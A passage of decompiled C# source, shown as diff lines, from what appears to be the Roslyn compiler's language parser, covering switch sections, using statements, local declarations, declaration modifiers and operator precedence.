SyntaxListBuilder val = _pool.Allocate(); + while (IsPossibleSwitchSection()) + { + val.Add(ParseSwitchSection()); + } + return _syntaxFactory.SwitchStatement(attributes, switchKeyword, openParen, expression, closeParen, openBrace, _pool.ToListAndFree(val), EatToken(SyntaxKind.CloseBraceToken)); + void parseSwitchHeader(out SyntaxToken reference, out SyntaxToken reference2, out ExpressionSyntax reference3, out SyntaxToken reference4, out SyntaxToken reference5) + { + if (base.CurrentToken.Kind == SyntaxKind.CaseKeyword) + { + reference = EatToken(SyntaxKind.SwitchKeyword); + reference2 = SyntaxFactory.MissingToken(SyntaxKind.OpenParenToken); + reference3 = CreateMissingIdentifierName(); + reference4 = SyntaxFactory.MissingToken(SyntaxKind.CloseParenToken); + reference5 = SyntaxFactory.MissingToken(SyntaxKind.OpenBraceToken); + } + else + { + reference = EatToken(SyntaxKind.SwitchKeyword); + reference3 = ParseExpressionCore(); + if (reference3.Kind == SyntaxKind.ParenthesizedExpression) + { + ParenthesizedExpressionSyntax parenthesizedExpressionSyntax = (ParenthesizedExpressionSyntax)reference3; + reference2 = parenthesizedExpressionSyntax.OpenParenToken; + reference3 = parenthesizedExpressionSyntax.Expression; + reference4 = parenthesizedExpressionSyntax.CloseParenToken; + } + else if (reference3.Kind == SyntaxKind.TupleExpression) + { + reference2 = (reference4 = null); + } + else + { + reference2 = SyntaxFactory.MissingToken(SyntaxKind.OpenParenToken); + reference3 = AddError(reference3, ErrorCode.ERR_SwitchGoverningExpressionRequiresParens); + reference4 = SyntaxFactory.MissingToken(SyntaxKind.CloseParenToken); + } + reference5 = EatToken(SyntaxKind.OpenBraceToken); + } + } + } + + private bool IsPossibleSwitchSection() + { + if (base.CurrentToken.Kind != SyntaxKind.CaseKeyword) + { + if (base.CurrentToken.Kind == SyntaxKind.DefaultKeyword) + { + return PeekToken(1).Kind != SyntaxKind.OpenParenToken; + } + return false; + } + return true; + } + + private SwitchSectionSyntax ParseSwitchSection() + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_013b: Unknown result type (might be due to invalid IL or missing references) + //IL_015f: Unknown result type (might be due to invalid IL or missing references) + //IL_0187: Unknown result type (might be due to invalid IL or missing references) + //IL_0188: Unknown result type (might be due to invalid IL or missing references) + //IL_0193: Unknown result type (might be due to invalid IL or missing references) + //IL_0194: Unknown result type (might be due to invalid IL or missing references) + SyntaxListBuilder val = _pool.Allocate(); + SyntaxListBuilder val2 = _pool.Allocate(); + do + { + SwitchLabelSyntax switchLabelSyntax; + if (base.CurrentToken.Kind == SyntaxKind.CaseKeyword) + { + SyntaxToken keyword = EatToken(); + if (base.CurrentToken.Kind == SyntaxKind.ColonToken) + { + switchLabelSyntax = _syntaxFactory.CaseSwitchLabel(keyword, ParseIdentifierName(ErrorCode.ERR_ConstantExpected), EatToken(SyntaxKind.ColonToken)); + } + else + { + CSharpSyntaxNode cSharpSyntaxNode = ParseExpressionOrPatternForSwitchStatement(); + if (base.CurrentToken.ContextualKind == SyntaxKind.WhenKeyword && cSharpSyntaxNode is ExpressionSyntax expression) + { + cSharpSyntaxNode = _syntaxFactory.ConstantPattern(expression); + } + if (cSharpSyntaxNode.Kind == SyntaxKind.DiscardPattern) + { + cSharpSyntaxNode = AddError(cSharpSyntaxNode, ErrorCode.ERR_DiscardPatternInSwitchStatement); + } + switchLabelSyntax = ((!(cSharpSyntaxNode is PatternSyntax pattern)) ? ((SwitchLabelSyntax)_syntaxFactory.CaseSwitchLabel(keyword, (ExpressionSyntax)cSharpSyntaxNode, EatToken(SyntaxKind.ColonToken))) : ((SwitchLabelSyntax)_syntaxFactory.CasePatternSwitchLabel(keyword, pattern, ParseWhenClause(Precedence.Expression), EatToken(SyntaxKind.ColonToken)))); + } + } + else + { + switchLabelSyntax = _syntaxFactory.DefaultSwitchLabel(EatToken(SyntaxKind.DefaultKeyword), EatToken(SyntaxKind.ColonToken)); + } + val.Add(switchLabelSyntax); + } + while (IsPossibleSwitchSection()); + CSharpSyntaxNode previousNode = val[val.Count - 1]; + ParseStatements(ref previousNode, val2, stopOnSwitchSections: true); + val[val.Count - 1] = (SwitchLabelSyntax)previousNode; + return _syntaxFactory.SwitchSection(_pool.ToListAndFree(val), _pool.ToListAndFree(val2)); + } + + private ThrowStatementSyntax ParseThrowStatement(SyntaxList attributes) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + return _syntaxFactory.ThrowStatement(attributes, EatToken(SyntaxKind.ThrowKeyword), (base.CurrentToken.Kind != SyntaxKind.SemicolonToken) ? ParseExpressionCore() : null, EatToken(SyntaxKind.SemicolonToken)); + } + + private UnsafeStatementSyntax ParseUnsafeStatement(SyntaxList attributes) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + return _syntaxFactory.UnsafeStatement(attributes, EatToken(SyntaxKind.UnsafeKeyword), ParsePossiblyAttributedBlock()); + } + + private UsingStatementSyntax ParseUsingStatement(SyntaxList attributes, SyntaxToken awaitTokenOpt = null) + { + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken usingKeyword = EatToken(SyntaxKind.UsingKeyword); + SyntaxToken openParenToken = EatToken(SyntaxKind.OpenParenToken); + VariableDeclarationSyntax declaration = null; + ExpressionSyntax expression = null; + ResetPoint resetPoint = GetResetPoint(); + ParseUsingExpression(ref declaration, ref expression, ref resetPoint); + Release(ref resetPoint); + return _syntaxFactory.UsingStatement(attributes, awaitTokenOpt, usingKeyword, openParenToken, declaration, expression, EatToken(SyntaxKind.CloseParenToken), ParseEmbeddedStatement()); + } + + private void ParseUsingExpression(ref VariableDeclarationSyntax declaration, ref ExpressionSyntax expression, ref ResetPoint resetPoint) + { + //IL_004a: Unknown result type (might be due to invalid IL or missing references) + //IL_011f: Unknown result type (might be due to invalid IL or missing references) + //IL_0124: Unknown result type (might be due to invalid IL or missing references) + if (IsAwaitExpression()) + { + expression = ParseExpressionCore(); + return; + } + ScanTypeFlags scanTypeFlags; + if (IsQueryExpression(mayBeVariableDeclaration: true, mayBeMemberDeclaration: false)) + { + scanTypeFlags = ScanTypeFlags.NotType; + } + else + { + SyntaxToken syntaxToken = ParsePossibleScopedKeyword(isFunctionPointerParameter: false); + if (syntaxToken != null) + { + declaration = ParseParenthesizedVariableDeclaration(); + declaration = declaration.Update(_syntaxFactory.ScopedType(syntaxToken, declaration.Type), declaration.Variables); + return; + } + scanTypeFlags = ScanType(); + } + if (scanTypeFlags == ScanTypeFlags.NullableType) + { + if (base.CurrentToken.Kind != SyntaxKind.IdentifierToken) + { + Reset(ref resetPoint); + expression = ParseExpressionCore(); + return; + } + switch (PeekToken(1).Kind) + { + default: + Reset(ref resetPoint); + expression = ParseExpressionCore(); + break; + case SyntaxKind.CloseParenToken: + case SyntaxKind.CommaToken: + Reset(ref resetPoint); + declaration = ParseParenthesizedVariableDeclaration(); + break; + case SyntaxKind.EqualsToken: + Reset(ref resetPoint); + declaration = ParseParenthesizedVariableDeclaration(); + if (base.CurrentToken.Kind == SyntaxKind.ColonToken && declaration.Type.Kind == SyntaxKind.NullableType && SyntaxFacts.IsName(((NullableTypeSyntax)declaration.Type).ElementType.Kind) && declaration.Variables.Count == 1) + { + Reset(ref resetPoint); + declaration = null; + expression = ParseExpressionCore(); + } + break; + } + } + else if (IsUsingStatementVariableDeclaration(scanTypeFlags)) + { + Reset(ref resetPoint); + declaration = ParseParenthesizedVariableDeclaration(); + } + else + { + Reset(ref resetPoint); + expression = ParseExpressionCore(); + } + } + + private bool IsUsingStatementVariableDeclaration(ScanTypeFlags st) + { + bool num = st == ScanTypeFlags.MustBeType && base.CurrentToken.Kind != SyntaxKind.DotToken; + bool flag = st != ScanTypeFlags.NotType && base.CurrentToken.Kind == SyntaxKind.IdentifierToken; + bool flag2 = st == ScanTypeFlags.NonGenericTypeOrExpression || PeekToken(1).Kind == SyntaxKind.EqualsToken; + if (!num) + { + return flag && flag2; + } + return true; + } + + private WhileStatementSyntax ParseWhileStatement(SyntaxList attributes) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + return _syntaxFactory.WhileStatement(attributes, EatToken(SyntaxKind.WhileKeyword), EatToken(SyntaxKind.OpenParenToken), ParseExpressionCore(), EatToken(SyntaxKind.CloseParenToken), ParseEmbeddedStatement()); + } + + private LabeledStatementSyntax ParseLabeledStatement(SyntaxList attributes) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + return _syntaxFactory.LabeledStatement(attributes, ParseIdentifierToken(), EatToken(SyntaxKind.ColonToken), ParsePossiblyAttributedStatement() ?? SyntaxFactory.EmptyStatement(default(SyntaxList), EatToken(SyntaxKind.SemicolonToken))); + } + + private StatementSyntax ParseLocalDeclarationStatement(SyntaxList attributes) + { + //IL_005c: Unknown result type (might be due to invalid IL or missing references) + //IL_0061: Unknown result type (might be due to invalid IL or missing references) + //IL_0079: Unknown result type (might be due to invalid IL or missing references) + //IL_007d: Unknown result type (might be due to invalid IL or missing references) + //IL_007f: Unknown result type (might be due to invalid IL or missing references) + //IL_0084: Unknown result type (might be due to invalid IL or missing references) + //IL_0149: Unknown result type (might be due to invalid IL or missing references) + //IL_014d: Unknown result type (might be due to invalid IL or missing references) + //IL_0152: Unknown result type (might be due to invalid IL or missing references) + //IL_0167: Unknown result type (might be due to invalid IL or missing references) + bool flag = false; + SyntaxToken awaitKeyword; + SyntaxToken usingKeyword; + if (IsPossibleAwaitUsing()) + { + awaitKeyword = EatContextualToken(SyntaxKind.AwaitKeyword); + usingKeyword = EatToken(); + } + else if (base.CurrentToken.Kind == SyntaxKind.UsingKeyword) + { + awaitKeyword = null; + usingKeyword = EatToken(); + } + else + { + awaitKeyword = null; + usingKeyword = null; + flag = true; + } + SyntaxListBuilder val = _pool.Allocate(); + ParseDeclarationModifiers(val); + SeparatedSyntaxListBuilder variables = _pool.AllocateSeparated(); + try + { + SyntaxToken syntaxToken = ParsePossibleScopedKeyword(isFunctionPointerParameter: false); + if (syntaxToken != null) + { + val.Add((GreenNode)(object)syntaxToken); + } + ParseLocalDeclaration(variables, flag, stopOnCloseParen: false, attributes, SyntaxList.op_Implicit(val.ToList()), out var type, out var localFunction); + if (localFunction != null) + { + return localFunction; + } + if (flag && attributes.Count == 0 && val.Count > 0 && IsAccessibilityModifier(((SyntaxToken)(object)val[0]).ContextualKind)) + { + return null; + } + if (syntaxToken != null) + { + val.RemoveLast(); + type = _syntaxFactory.ScopedType(syntaxToken, type); + } + for (int i = 0; i < val.Count; i++) + { + SyntaxToken syntaxToken2 = (SyntaxToken)(object)val[i]; + if (IsAdditionalLocalFunctionModifier(syntaxToken2.ContextualKind)) + { + val[i] = (GreenNode)(object)AddError(syntaxToken2, ErrorCode.ERR_BadMemberFlag, syntaxToken2.Text); + } + } + return _syntaxFactory.LocalDeclarationStatement(attributes, awaitKeyword, usingKeyword, SyntaxList.op_Implicit(val.ToList()), _syntaxFactory.VariableDeclaration(type, _pool.ToListAndFree(ref variables)), EatToken(SyntaxKind.SemicolonToken)); + } + finally + { + _pool.Free(val); + } + } + + private SyntaxToken ParsePossibleScopedKeyword(bool isFunctionPointerParameter) + { + if (base.CurrentToken.ContextualKind == SyntaxKind.ScopedKeyword) + { + using (DisposableResetPoint disposableResetPoint = GetDisposableResetPoint(resetOnDispose: false)) + { + SyntaxToken result = EatContextualToken(SyntaxKind.ScopedKeyword); + SyntaxKind kind = base.CurrentToken.Kind; + if (kind - 8360 > (SyntaxKind)2) + { + using DisposableResetPoint disposableResetPoint2 = GetDisposableResetPoint(resetOnDispose: false); + bool flag = ScanType() == ScanTypeFlags.NotType; + if (!flag) + { + bool flag3; + if (isFunctionPointerParameter) + { + kind = base.CurrentToken.Kind; + bool flag2 = kind - 8216 <= SyntaxKind.List; + flag3 = !flag2; + } + else + { + flag3 = base.CurrentToken.Kind != SyntaxKind.IdentifierToken; + } + flag = flag3; + } + if (flag) + { + disposableResetPoint.Reset(); + return null; + } + disposableResetPoint2.Reset(); + } + return result; + } + } + return null; + } + + private VariableDesignationSyntax ParseDesignation(bool forPattern) + { + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0050: Unknown result type (might be due to invalid IL or missing references) + //IL_00af: Unknown result type (might be due to invalid IL or missing references) + //IL_0074: Unknown result type (might be due to invalid IL or missing references) + if (base.CurrentToken.Kind == SyntaxKind.OpenParenToken) + { + SyntaxToken openParenToken = EatToken(SyntaxKind.OpenParenToken); + SeparatedSyntaxListBuilder val = _pool.AllocateSeparated(); + bool flag = false; + if (forPattern) + { + flag = base.CurrentToken.Kind == SyntaxKind.CloseParenToken; + } + else + { + val.Add(ParseDesignation(forPattern)); + val.AddSeparator((GreenNode)(object)EatToken(SyntaxKind.CommaToken)); + } + if (!flag) + { + while (true) + { + val.Add(ParseDesignation(forPattern)); + if (base.CurrentToken.Kind != SyntaxKind.CommaToken) + { + break; + } + val.AddSeparator((GreenNode)(object)EatToken(SyntaxKind.CommaToken)); + } + } + return _syntaxFactory.ParenthesizedVariableDesignation(openParenToken, _pool.ToListAndFree(ref val), EatToken(SyntaxKind.CloseParenToken)); + } + return ParseSimpleDesignation(); + } + + private VariableDesignationSyntax ParseSimpleDesignation() + { + if (base.CurrentToken.ContextualKind != SyntaxKind.UnderscoreToken) + { + return _syntaxFactory.SingleVariableDesignation(EatToken(SyntaxKind.IdentifierToken)); + } + return _syntaxFactory.DiscardDesignation(EatContextualToken(SyntaxKind.UnderscoreToken)); + } + + private WhenClauseSyntax ParseWhenClause(Precedence precedence) + { + if (base.CurrentToken.ContextualKind != SyntaxKind.WhenKeyword) + { + return null; + } + return _syntaxFactory.WhenClause(EatContextualToken(SyntaxKind.WhenKeyword), ParseSubExpression(precedence)); + } + + private VariableDeclarationSyntax ParseParenthesizedVariableDeclaration() + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + SeparatedSyntaxListBuilder variables = _pool.AllocateSeparated(); + ParseLocalDeclaration(variables, allowLocalFunctions: false, stopOnCloseParen: true, default(SyntaxList), default(SyntaxList), out var type, out var _); + return _syntaxFactory.VariableDeclaration(type, _pool.ToListAndFree(ref variables)); + } + + private void ParseLocalDeclaration(SeparatedSyntaxListBuilder variables, bool allowLocalFunctions, bool stopOnCloseParen, SyntaxList attributes, SyntaxList mods, out TypeSyntax type, out LocalFunctionStatementSyntax localFunction) + { + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + //IL_004b: Unknown result type (might be due to invalid IL or missing references) + //IL_004d: Unknown result type (might be due to invalid IL or missing references) + type = (allowLocalFunctions ? ParseReturnType() : ParseType()); + VariableFlags variableFlags = VariableFlags.LocalOrField; + if (mods.Any(8350)) + { + variableFlags |= VariableFlags.Const; + } + TerminatorState termState = _termState; + _termState |= TerminatorState.IsEndOfDeclarationClause; + ParseVariableDeclarators(type, variableFlags, variables, variableDeclarationsExpected: true, allowLocalFunctions, stopOnCloseParen, attributes, mods, out localFunction); + _termState = termState; + if (allowLocalFunctions && localFunction == null && type is PredefinedTypeSyntax predefinedTypeSyntax) + { + SyntaxToken keyword = predefinedTypeSyntax.Keyword; + if (keyword != null && keyword.Kind == SyntaxKind.VoidKeyword) + { + type = AddError(type, ErrorCode.ERR_NoVoidHere); + } + } + } + + private bool IsEndOfDeclarationClause() + { + SyntaxKind kind = base.CurrentToken.Kind; + if (kind - 8211 <= SyntaxKind.List) + { + return true; + } + return false; + } + + private void ParseDeclarationModifiers(SyntaxListBuilder list) + { + SyntaxKind contextualKind; + while (IsDeclarationModifier(contextualKind = base.CurrentToken.ContextualKind) || IsAdditionalLocalFunctionModifier(contextualKind)) + { + SyntaxToken syntaxToken; + if (contextualKind == SyntaxKind.AsyncKeyword) + { + if (!shouldTreatAsModifier()) + { + break; + } + syntaxToken = EatContextualToken(contextualKind); + } + else + { + syntaxToken = EatToken(); + } + if ((contextualKind == SyntaxKind.ReadOnlyKeyword || contextualKind == SyntaxKind.VolatileKeyword) ? true : false) + { + syntaxToken = AddError(syntaxToken, ErrorCode.ERR_BadMemberFlag, syntaxToken.Text); + } + else if (list.Any(((GreenNode)syntaxToken).RawKind)) + { + syntaxToken = AddError(syntaxToken, ErrorCode.ERR_TypeExpected); + } + list.Add((GreenNode)(object)syntaxToken); + } + bool shouldTreatAsModifier() + { + using (GetDisposableResetPoint(resetOnDispose: true)) + { + do + { + EatToken(); + if (IsDeclarationModifier(base.CurrentToken.Kind) || IsAdditionalLocalFunctionModifier(base.CurrentToken.Kind)) + { + return true; + } + using (GetDisposableResetPoint(resetOnDispose: true)) + { + if (ScanType() != ScanTypeFlags.NotType && base.CurrentToken.Kind == SyntaxKind.IdentifierToken) + { + return true; + } + } + } + while (IsAdditionalLocalFunctionModifier(base.CurrentToken.ContextualKind)); + return false; + } + } + } + + private static bool IsDeclarationModifier(SyntaxKind kind) + { + switch (kind) + { + case SyntaxKind.StaticKeyword: + case SyntaxKind.ReadOnlyKeyword: + case SyntaxKind.ConstKeyword: + case SyntaxKind.VolatileKeyword: + return true; + default: + return false; + } + } + + private static bool IsAdditionalLocalFunctionModifier(SyntaxKind kind) + { + switch (kind) + { + case SyntaxKind.PublicKeyword: + case SyntaxKind.PrivateKeyword: + case SyntaxKind.InternalKeyword: + case SyntaxKind.ProtectedKeyword: + case SyntaxKind.StaticKeyword: + case SyntaxKind.ExternKeyword: + case SyntaxKind.UnsafeKeyword: + case SyntaxKind.AsyncKeyword: + return true; + default: + return false; + } + } + + private static bool IsAccessibilityModifier(SyntaxKind kind) + { + if (kind - 8343 <= (SyntaxKind)3) + { + return true; + } + return false; + } + + private LocalFunctionStatementSyntax TryParseLocalFunctionStatementBody(SyntaxList attributes, SyntaxList modifiers, TypeSyntax type, SyntaxToken identifier) + { + //IL_0101: Unknown result type (might be due to invalid IL or missing references) + //IL_0106: Unknown result type (might be due to invalid IL or missing references) + //IL_010b: Unknown result type (might be due to invalid IL or missing references) + //IL_0164: Unknown result type (might be due to invalid IL or missing references) + //IL_012e: Unknown result type (might be due to invalid IL or missing references) + //IL_0133: Unknown result type (might be due to invalid IL or missing references) + //IL_0182: Unknown result type (might be due to invalid IL or missing references) + //IL_0187: Unknown result type (might be due to invalid IL or missing references) + //IL_018a: Unknown result type (might be due to invalid IL or missing references) + //IL_01d7: Unknown result type (might be due to invalid IL or missing references) + //IL_01d8: Unknown result type (might be due to invalid IL or missing references) + //IL_01e0: Unknown result type (might be due to invalid IL or missing references) + //IL_01e2: Unknown result type (might be due to invalid IL or missing references) + //IL_00d9: Unknown result type (might be due to invalid IL or missing references) + ResetPoint state = GetResetPoint(); + bool flag = true; + if (type.Kind == SyntaxKind.IdentifierName) + { + flag = ((IdentifierNameSyntax)type).Identifier.ContextualKind != SyntaxKind.AwaitKeyword; + } + bool isInAsync = IsInAsync; + IsInAsync = false; + SyntaxListBuilder val = null; + for (int i = 0; i < modifiers.Count; i++) + { + SyntaxToken syntaxToken = modifiers[i]; + switch (syntaxToken.ContextualKind) + { + case SyntaxKind.AsyncKeyword: + IsInAsync = true; + flag = true; + continue; + case SyntaxKind.UnsafeKeyword: + flag = true; + continue; + case SyntaxKind.StaticKeyword: + case SyntaxKind.ReadOnlyKeyword: + case SyntaxKind.VolatileKeyword: + case SyntaxKind.ExternKeyword: + continue; + } + syntaxToken = AddError(syntaxToken, ErrorCode.ERR_BadMemberFlag, syntaxToken.Text); + if (val == null) + { + val = _pool.Allocate(); + val.AddRange(modifiers); + } + val[i] = (GreenNode)(object)syntaxToken; + } + if (val != null) + { + modifiers = SyntaxList.op_Implicit(val.ToList()); + _pool.Free(val); + } + TypeParameterListSyntax typeParameterList = ParseTypeParameterList(); + ParameterListSyntax parameterListSyntax = ParseParenthesizedParameterList(); + if (!flag) + { + SeparatedSyntaxList parameters = parameterListSyntax.Parameters; + for (int j = 0; j < parameters.Count; j++) + { + flag |= !((GreenNode)parameters[j]).ContainsDiagnostics; + if (flag) + { + break; + } + } + } + SyntaxListBuilder val2 = default(SyntaxListBuilder); + if (base.CurrentToken.ContextualKind == SyntaxKind.WhereKeyword) + { + val2 = _pool.Allocate(); + ParseTypeParameterConstraintClauses(SyntaxListBuilder.op_Implicit(val2)); + flag = true; + } + ParseBlockAndExpressionBodiesWithSemicolon(out var blockBody, out var expressionBody, out var semicolon, parseSemicolonAfterBlock: false); + IsInAsync = isInAsync; + if (!flag && blockBody == null && expressionBody == null) + { + Reset(ref state); + Release(ref state); + return null; + } + Release(ref state); + return _syntaxFactory.LocalFunctionStatement(attributes, modifiers, type, identifier, typeParameterList, parameterListSyntax, SyntaxListBuilder.op_Implicit(val2), blockBody, expressionBody, semicolon); + } + + private ExpressionStatementSyntax ParseExpressionStatement(SyntaxList attributes) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return ParseExpressionStatement(attributes, ParseExpressionCore()); + } + + private ExpressionStatementSyntax ParseExpressionStatement(SyntaxList attributes, ExpressionSyntax expression) + { + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken semicolonToken = ((!base.IsScript || base.CurrentToken.Kind != SyntaxKind.EndOfFileToken) ? EatToken(SyntaxKind.SemicolonToken) : SyntaxFactory.MissingToken(SyntaxKind.SemicolonToken)); + return _syntaxFactory.ExpressionStatement(attributes, expression, semicolonToken); + } + + public ExpressionSyntax ParseExpression() + { + return ParseWithStackGuard((LanguageParser @this) => @this.ParseExpressionCore(), (LanguageParser @this) => @this.CreateMissingIdentifierName()); + } + + private ExpressionSyntax ParseExpressionCore() + { + return ParseSubExpression(Precedence.Expression); + } + + private bool CanStartExpression() + { + return IsPossibleExpression(allowBinaryExpressions: false, allowAssignmentExpressions: false); + } + + private bool IsPossibleExpression() + { + return IsPossibleExpression(allowBinaryExpressions: true, allowAssignmentExpressions: true); + } + + private bool IsPossibleExpression(bool allowBinaryExpressions, bool allowAssignmentExpressions) + { + SyntaxKind kind = base.CurrentToken.Kind; + switch (kind) + { + case SyntaxKind.OpenParenToken: + case SyntaxKind.OpenBracketToken: + case SyntaxKind.DotDotToken: + case SyntaxKind.ColonColonToken: + case SyntaxKind.TypeOfKeyword: + case SyntaxKind.SizeOfKeyword: + case SyntaxKind.NullKeyword: + case SyntaxKind.TrueKeyword: + case SyntaxKind.FalseKeyword: + case SyntaxKind.DefaultKeyword: + case SyntaxKind.ThrowKeyword: + case SyntaxKind.StackAllocKeyword: + case SyntaxKind.NewKeyword: + case SyntaxKind.RefKeyword: + case SyntaxKind.ArgListKeyword: + case SyntaxKind.MakeRefKeyword: + case SyntaxKind.RefTypeKeyword: + case SyntaxKind.RefValueKeyword: + case SyntaxKind.ThisKeyword: + case SyntaxKind.BaseKeyword: + case SyntaxKind.DelegateKeyword: + case SyntaxKind.CheckedKeyword: + case SyntaxKind.UncheckedKeyword: + case SyntaxKind.InterpolatedStringStartToken: + case SyntaxKind.InterpolatedVerbatimStringStartToken: + case SyntaxKind.NumericLiteralToken: + case SyntaxKind.CharacterLiteralToken: + case SyntaxKind.StringLiteralToken: + case SyntaxKind.InterpolatedStringToken: + case SyntaxKind.SingleLineRawStringLiteralToken: + case SyntaxKind.MultiLineRawStringLiteralToken: + case SyntaxKind.Utf8StringLiteralToken: + case SyntaxKind.Utf8SingleLineRawStringLiteralToken: + case SyntaxKind.Utf8MultiLineRawStringLiteralToken: + case SyntaxKind.InterpolatedSingleLineRawStringStartToken: + case SyntaxKind.InterpolatedMultiLineRawStringStartToken: + return true; + case SyntaxKind.StaticKeyword: + if (!IsPossibleAnonymousMethodExpression()) + { + return IsPossibleLambdaExpression(Precedence.Expression); + } + return true; + case SyntaxKind.IdentifierToken: + if (!IsTrueIdentifier()) + { + return base.CurrentToken.ContextualKind == SyntaxKind.FromKeyword; + } + return true; + default: + if (!IsPredefinedType(kind) && !SyntaxFacts.IsAnyUnaryExpression(kind) && (!allowBinaryExpressions || !SyntaxFacts.IsBinaryExpression(kind))) + { + if (allowAssignmentExpressions) + { + return SyntaxFacts.IsAssignmentExpressionOperatorToken(kind); + } + return false; + } + return true; + } + } + + private static bool IsInvalidSubExpression(SyntaxKind kind) + { + switch (kind) + { + case SyntaxKind.IfKeyword: + case SyntaxKind.ElseKeyword: + case SyntaxKind.WhileKeyword: + case SyntaxKind.ForKeyword: + case SyntaxKind.ForEachKeyword: + case SyntaxKind.DoKeyword: + case SyntaxKind.SwitchKeyword: + case SyntaxKind.CaseKeyword: + case SyntaxKind.TryKeyword: + case SyntaxKind.CatchKeyword: + case SyntaxKind.FinallyKeyword: + case SyntaxKind.LockKeyword: + case SyntaxKind.GotoKeyword: + case SyntaxKind.BreakKeyword: + case SyntaxKind.ContinueKeyword: + case SyntaxKind.ReturnKeyword: + case SyntaxKind.ConstKeyword: + case SyntaxKind.UsingKeyword: + return true; + default: + return false; + } + } + + internal static bool IsRightAssociative(SyntaxKind op) + { + if (op == SyntaxKind.CoalesceExpression || op - 8714 <= (SyntaxKind)12) + { + return true; + } + return false; + } + + private static Precedence GetPrecedence(SyntaxKind op) + { + switch (op) + { + case SyntaxKind.QueryExpression: + return Precedence.Expression; + case SyntaxKind.AnonymousMethodExpression: + case SyntaxKind.SimpleLambdaExpression: + case SyntaxKind.ParenthesizedLambdaExpression: + return Precedence.Expression; + case SyntaxKind.SimpleAssignmentExpression: + case SyntaxKind.AddAssignmentExpression: + case SyntaxKind.SubtractAssignmentExpression: + case SyntaxKind.MultiplyAssignmentExpression: + case SyntaxKind.DivideAssignmentExpression: + case SyntaxKind.ModuloAssignmentExpression: + case SyntaxKind.AndAssignmentExpression: + case SyntaxKind.ExclusiveOrAssignmentExpression: + case SyntaxKind.OrAssignmentExpression: + case SyntaxKind.LeftShiftAssignmentExpression: + case SyntaxKind.RightShiftAssignmentExpression: + case SyntaxKind.CoalesceAssignmentExpression: + case SyntaxKind.UnsignedRightShiftAssignmentExpression: + return Precedence.Expression; + case SyntaxKind.CoalesceExpression: + case SyntaxKind.ThrowExpression: + return Precedence.Coalescing; + case SyntaxKind.LogicalOrExpression: + return Precedence.ConditionalOr; + case SyntaxKind.LogicalAndExpression: + return Precedence.ConditionalAnd; + case SyntaxKind.BitwiseOrExpression: + return Precedence.LogicalOr; + case SyntaxKind.ExclusiveOrExpression: + return Precedence.LogicalXor; + case SyntaxKind.BitwiseAndExpression: + return Precedence.LogicalAnd; + case SyntaxKind.EqualsExpression: + case SyntaxKind.NotEqualsExpression: + return Precedence.Equality; + case SyntaxKind.IsPatternExpression: + case SyntaxKind.LessThanExpression: + case SyntaxKind.LessThanOrEqualExpression: + case SyntaxKind.GreaterThanExpression: + case SyntaxKind.GreaterThanOrEqualExpression: + case SyntaxKind.IsExpression: + case SyntaxKind.AsExpression: + return Precedence.Relational; + case SyntaxKind.SwitchExpression: + case SyntaxKind.WithExpression: + return Precedence.Switch; + case SyntaxKind.LeftShiftExpression: + case SyntaxKind.RightShiftExpression: + case SyntaxKind.UnsignedRightShiftExpression: + return Precedence.Shift; + case SyntaxKind.AddExpression: + case SyntaxKind.SubtractExpression: + return Precedence.Additive; + case SyntaxKind.MultiplyExpression: + case SyntaxKind.DivideExpression: + case SyntaxKind.ModuloExpression: + return Precedence.Multiplicative; + case SyntaxKind.UnaryPlusExpression: + case SyntaxKind.UnaryMinusExpression: + case SyntaxKind.BitwiseNotExpression: + case SyntaxKind.LogicalNotExpression: + case SyntaxKind.PreIncrementExpression: + case SyntaxKind.PreDecrementExpression: + case SyntaxKind.AwaitExpression: + case SyntaxKind.IndexExpression: + case SyntaxKind.TypeOfExpression: + case SyntaxKind.SizeOfExpression: + case SyntaxKind.CheckedExpression: + case SyntaxKind.UncheckedExpression: + case SyntaxKind.MakeRefExpression: + case SyntaxKind.RefValueExpression: + case SyntaxKind.RefTypeExpression: + return Precedence.Unary; + case SyntaxKind.CastExpression: + return Precedence.Cast; + case SyntaxKind.PointerIndirectionExpression: + return Precedence.PointerIndirection; + case SyntaxKind.AddressOfExpression: + return Precedence.AddressOf; + case SyntaxKind.RangeExpression: + return Precedence.Range; + case SyntaxKind.ConditionalExpression: + return Precedence.Expression; + case SyntaxKind.IdentifierName: + case SyntaxKind.GenericName: + case SyntaxKind.AliasQualifiedName: + case SyntaxKind.PredefinedType: + case SyntaxKind.ParenthesizedExpression: + case SyntaxKind.InvocationExpression: + case SyntaxKind.ElementAccessExpression: + case SyntaxKind.ObjectCreationExpression: + case SyntaxKind.AnonymousObjectCreationExpression: + case SyntaxKind.ArrayCreationExpression: + case SyntaxKind.ImplicitArrayCreationExpression: + case SyntaxKind.StackAllocArrayCreationExpression: + case SyntaxKind.InterpolatedStringExpression: + case SyntaxKind.ImplicitObjectCreationExpression: + case SyntaxKind.SimpleMemberAccessExpression: + case SyntaxKind.PointerMemberAccessExpression: + case SyntaxKind.ConditionalAccessExpression: + case SyntaxKind.PostIncrementExpression: + case SyntaxKind.PostDecrementExpression: + case SyntaxKind.ThisExpression: + case SyntaxKind.BaseExpression: + case SyntaxKind.ArgListExpression: + case SyntaxKind.NumericLiteralExpression: + case SyntaxKind.StringLiteralExpression: + case 